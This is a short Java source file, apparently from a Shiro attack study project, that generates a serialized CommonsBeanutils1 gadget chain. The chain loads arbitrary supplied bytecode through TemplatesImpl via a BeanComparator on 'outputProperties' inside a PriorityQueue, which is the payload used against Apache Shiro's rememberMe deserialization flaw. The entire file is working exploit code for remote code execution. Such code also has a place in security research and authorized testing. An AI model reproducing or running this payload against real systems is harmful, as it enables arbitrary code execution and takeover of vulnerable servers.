content: package com.govuln.shiroattack;
  
  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  import org.apache.commons.beanutils.BeanComparator;
  
  import java.io.ByteArrayOutputStream;
  import java.io.ObjectOutputStream;
  import java.lang.reflect.Field;
  import java.util.PriorityQueue;
  
  public class CommonsBeanutils1Shiro {
      public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
          Field field = obj.getClass().getDeclaredField(fieldName);
          field.setAccessible(true);
          field.set(obj, value);
      }
  
      public byte[] getPayload(byte[] clazzBytes) throws Exception {
          TemplatesImpl obj = new TemplatesImpl();
          setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
          setFieldValue(obj, "_name", "HelloTemplatesImpl");
          setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  
          final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
          final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
          // stub data for replacement later
          queue.add("1");
          queue.add("1");
  
          setFieldValue(comparator, "property", "outputProperties");
          setFieldValue(queue, "queue", new Object[]{obj, obj});
  
          // ==================
          // 生成序列化字符串
          ByteArrayOutputStream barr = new ByteArrayOutputStream();
          ObjectOutputStream oos = new ObjectOutputStream(barr);
          oos.writeObject(queue);
          oos.close();
  
          return barr.toByteArray();
      }
  }
  